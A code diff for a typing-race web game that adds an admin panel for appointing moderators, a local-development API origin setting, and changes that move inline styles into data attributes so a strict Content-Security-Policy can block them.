+++ b/web/src/devApiOrigin.js
@@ -0,0 +1,13 @@
+// Local development only.
+//
+// The static file server (port 4173) and typerpunk-server (port 8787) are
+// different origins during development, so the client is told where the API
+// is. A production deployment puts a reverse proxy in front and routes
+// /api/* to the backend, which makes the API same-origin and this file a
+// no-op. See web/src/api.js for the default.
+//
+// This lives in a file rather than in a <script> block in index.html so the
+// Content-Security-Policy can forbid inline script entirely.
+if (location.hostname === 'localhost' || location.hostname === '127.0.0.1') {
+    window.TYPERPUNK_API_URL = `${location.protocol}//${location.hostname}:8787`;
+}
diff --git a/web/src/screens/contributeScreen.js b/web/src/screens/contributeScreen.js
index 4464ae2..4c47852 100644
--- a/web/src/screens/contributeScreen.js
+++ b/web/src/screens/contributeScreen.js
@@ -24,6 +24,9 @@ export function renderContributeScreen(root, { onBack, onShowStats, onShowPlaceh
     let mine = [];
     let queue = [];
     let isModerator = false;
+    let isAdmin = false;
+    let roleHolders = [];
+    let userSearch = [];
     let cleanupInner = null;
 
     function statusLabel(s) {
@@ -39,6 +42,10 @@ export function renderContributeScreen(root, { onBack, onShowStats, onShowPlaceh
         // case rather than an error worth showing.
         try { queue = await api.get('/api/texts/queue'); isModerator = true; }
         catch { queue = []; isModerator = false; }
+        // Same shape: a 401 here means "not an administrator", which is the
+        // ordinary case for almost everyone.
+        try { roleHolders = await api.get('/api/admin/users'); isAdmin = true; }
+        catch { roleHolders = []; isAdmin = false; }
     }
 
     function submissionRow(s, moderating) {
@@ -88,6 +95,26 @@ export function renderContributeScreen(root, { onBack, onShowStats, onShowPlaceh
                         <div class="submission-list">${mine.map(s => submissionRow(s, false)).join('')}</div>
                     ` : ''}
 
+                    ${isAdmin ? `
+                        <h3>Moderators</h3>
+                        <div class="settings-hint">Moderators review submitted passages. An administrator's own role is managed by the server, not here.</div>
+                        <form class="account-form admin-search-form">
+                            <input class="account-input admin-search" type="text" placeholder="Find a user by name" autocomplete="off">
+                            <button class="menu-button small" type="submit">Search</button>
+                        </form>
+                        <div class="submission-list admin-user-list">
+                            ${(userSearch.length ? userSearch : roleHolders).map(u => `
+                                <div class="admin-user" data-username="${escapeHtml(u.username)}">
+                                    <span class="admin-user-name">${escapeHtml(u.username)}</span>
+                                    ${u.is_admin ? '<span class="admin-user-role">admin</span>' : ''}
+                                    ${u.is_moderator && !u.is_admin ? '<span class="admin-user-role">moderator</span>' : ''}
+                                    ${u.is_bot ? '<span class="admin-user-role">bot</span>' : ''}
+                                    ${u.is_admin ? '' : `<button class="menu-button small ${u.is_moderator ? 'quiet' : ''}" data-action="set-role" data-username="${escapeHtml(u.username)}" data-moderator="${u.is_moderator ? 'false' : 'true'}">${u.is_moderator ? 'Remove' : 'Make moderator'}</button>`}
+                                </div>
+                            `).join('') || '<div class="stats-empty">No moderators yet. Search for a user to appoint one.</div>'}
+                        </div>
+                    ` : ''}
+
                     ${isModerator ? `
                         <h3>Review queue${queue.length ? ` (${queue.length})` : ''}</h3>
                         ${queue.length
@@ -135,6 +162,28 @@ export function renderContributeScreen(root, { onBack, onShowStats, onShowPlaceh
             });
         }
 
+        const searchForm = root.querySelector('.admin-search-form');
+        if (searchForm) {
+            searchForm.addEventListener('submit', async e => {
+                e.preventDefault();
+                const q = searchForm.querySelector('.admin-search').value.trim();
+                try { userSearch = q ? await api.get(`/api/admin/users?q=${encodeURIComponent(q)}`) : []; }
+                catch { userSearch = []; }
+                render();
+            });
+        }
+        root.querySelectorAll('[data-action="set-role"]').forEach(btn => {
+            btn.addEventListener('click', async () => {
+                try {
+                    await api.post(`/api/admin/users/${encodeURIComponent(btn.dataset.username)}/role`,
+                                   { moderator: btn.dataset.moderator === 'true' });
+                } catch { /* reloading below shows whatever actually happened */ }
+                userSearch = [];
+                await load();
+                render();
+            });
+        });
+
         root.querySelectorAll('.submission-actions button').forEach(btn => {
             btn.addEventListener('click', async () => {
                 const row = btn.closest('.submission-row');
diff --git a/web/src/screens/endScreen.js b/web/src/screens/endScreen.js
index 086407c..b03c306 100644
--- a/web/src/screens/endScreen.js
+++ b/web/src/screens/endScreen.js
@@ -102,7 +102,7 @@ export function renderEndScreen(root, { stats, text, attribution, explanation, s
                 <span></span><span>Racer</span><span>WPM</span><span>Acc</span><span>Time</span>
             </div>
         ` + list.map(r => `
-            <div class="mp-standings-row${r.me ? ' me' : ''}${r.place ? '' : ' racing'}" style="--racer-color: ${r.color || 'var(--primary-color)'}">
+            <div class="mp-standings-row${r.me ? ' me' : ''}${r.place ? '' : ' racing'}" data-racer-color="${r.color || 'var(--primary-color)'}">
                 <span class="mp-standings-place">${r.place ? r.place : '&middot;'}</span>
                 <span class="mp-standings-name">${escapeHtml(r.name)}${r.me ? ' (you)' : ''}</span>
                 <span class="mp-standings-wpm">${Math.round(r.wpm)}</span>
@@ -110,6 +110,11 @@ export function renderEndScreen(root, { stats, text, attribution, explanation, s
                 <span class="mp-standings-time">${r.place && r.time != null ? `${r.time.toFixed(1)}s` : 'racing'}</span>
             </div>
         `).join('');
+        // See multiplayerScreen.js: a style attribute is blocked by the CSP,
+        // the same property set through element.style is not.
+        standingsRows.querySelectorAll('[data-racer-color]').forEach(el => {
+            el.style.setProperty('--racer-color', el.dataset.racerColor);
+        });
     }
     if (standings && standings.length) paintStandings(standings);
     const offStandings = onStandingsUpdate ? onStandingsUpdate(paintStandings) : null;
diff --git a/web/src/screens/multiplayerScreen.js b/web/src/screens/multiplayerScreen.js
index ba051c6..073d3cc 100644
--- a/web/src/screens/multiplayerScreen.js
+++ b/web/src/screens/multiplayerScreen.js
@@ -26,6 +26,18 @@ function racerColors(players, myId) {
     return colors;
 }
 
+// A style="" attribute in markup is refused by the Content-Security-Policy;
+// the same property set through element.style is not. Markup carries the
+// value in a data attribute and this applies it.
+function applyInlineStyles(container) {
+    container.querySelectorAll('[data-racer-color]').forEach(el => {
+        el.style.setProperty('--racer-color', el.dataset.racerColor);
+    });
+    container.querySelectorAll('[data-percent]').forEach(el => {
+        el.style.width = `${el.dataset.percent}%`;
+    });
+}
+
 // No account required - a quick race with friends shouldn't need signing
 // in, so this only prefills the name field when one exists rather than
 // gating the whole feature behind it (unlike Friends/Leaderboard, which
@@ -166,11 +178,12 @@ export function renderMultiplayerScreen(root, { onBack, onFinish, onShowStats, o
         function paintPlayers() {
             const colors = racerColors(players, myId);
             listEl.innerHTML = players.map(p => `
-                <div class="leaderboard-row" style="--racer-color: ${colors[p.id]}">
+                <div class="leaderboard-row" data-racer-color="${colors[p.id]}">
                     <div class="leaderboard-name"><span class="mp-racer-dot"></span>${escapeHtml(p.name)}${p.id === myId ? ' (you)' : ''}</div>
                     <div class="leaderboard-acc">${p.ready ? 'Ready' : 'Not ready'}</div>
                 </div>
             `).join('');
+            applyInlineStyles(listEl);
         }
         paintPlayers();
 
@@ -251,12 +264,13 @@ export function renderMultiplayerScreen(root, { onBack, onFinish, onShowStats, o
                 const me = p.id === myId;
                 const prog = progressById[p.id] || {};
                 return `
-                <div class="mp-racer-row${me ? ' me' : ''}" style="--racer-color: ${colors[p.id]}">
+                <div class="mp-racer-row${me ? ' me' : ''}" data-racer-color="${colors[p.id]}">
                     <span class="mp-racer-name">${escapeHtml(p.name)}${me ? ' (you)' : ''}</span>
-                    <div class="mp-racer-bar"><div class="mp-racer-bar-fill" style="width:${prog.percent || 0}%"></div></div>
+                    <div class="mp-racer-bar"><div class="mp-racer-bar-fill" data-percent="${prog.percent || 0}"></div></div>
                     <span class="mp-racer-wpm">${Math.round(prog.wpm || 0)}</span>
                 </div>`;
             }).join('');
+            applyInlineStyles(opponents);
         }
         paintOpponents();
 
diff --git a/web/src/screens/storeScreen.js b/web/src/screens/storeScreen.js
index 5a533d9..d1675a7 100644
--- a/web/src/screens/storeScreen.js
+++ b/web/src/screens/storeScreen.js
@@ -31,7 +31,7 @@ export function renderStoreScreen(root, { onBack, onShowStats, onShowPlaceholder
         const owned = !signedOut && mine.owned.includes(item.id);
         const equipped = !signedOut && (mine.equipped_caret === item.id || mine.equipped_flair === item.id);
         const swatch = item.category === 'caret'
-            ? `<span class="store-swatch" style="background:${escapeHtml(item.value)}"></span>`
+            ? `<span class="store-swatch" data-swatch-colour="${escapeHtml(item.value)}"></span>`
             : `<span class="store-swatch store-flair-swatch">${FLAIR_ICONS[item.value] || ''}</span>`;
         return `
             <div class="leaderboard-row store-item-row">
@@ -72,6 +72,12 @@ export function renderStoreScreen(root, { onBack, onShowStats, onShowPlaceholder
             </div>
         `;
         root.querySelectorAll('[data-action="menu"]').forEach(el => el.addEventListener('click', onBack));
+        // The swatch colour comes from the catalogue, so it cannot be a class.
+        // Set through element.style because a style attribute is blocked by the
+        // Content-Security-Policy.
+        root.querySelectorAll('[data-swatch-colour]').forEach(el => {
+            el.style.background = el.dataset.swatchColour;
+        });
         attachTooltips(root);
         const cleanupTheme = renderTopRail(root, { onShowAccount, onShowFriends });
 
diff --git a/web/src/styles.css b/web/src/styles.css
index bb92393..c56ac27 100644
--- a/web/src/styles.css
+++ b/web/src/styles.css
@@ -3049,3 +3049,35 @@ body::-webkit-scrollbar, .app::-webkit-scrollbar, #root::-webkit-scrollbar {
     color: var(--error-color);
     border-color: color-mix(in srgb, var(--error-color) 45%, transparent);
 }
+
+/* Appointing moderators. Sits with the review queue because it is the same
+   job: deciding who looks after submitted passages. */
+.admin-search-form { width: 100%; max-width: 34rem; }
+
+.admin-user {
+    display: flex;
+    align-items: center;
+    gap: 0.6rem;
+    padding: 0.5rem 0.75rem;
+    border: 1px solid var(--neutral-color);
+    border-radius: 6px;
+}
+
+.admin-user-name {
+    flex: 1 1 auto;
+    font-family: 'JetBrains Mono', monospace;
+    font-size: 0.85rem;
+    overflow: hidden;
+    text-overflow: ellipsis;
+    white-space: nowrap;
+}
+
+.admin-user-role {
+    font-size: 0.65rem;
+    text-transform: uppercase;
+    letter-spacing: 1px;
+    color: var(--primary-color);
+    border: 1px solid color-mix(in srgb, var(--primary-color) 45%, transparent);
+    border-radius: 4px;
+    padding: 0.1rem 0.35rem;
+}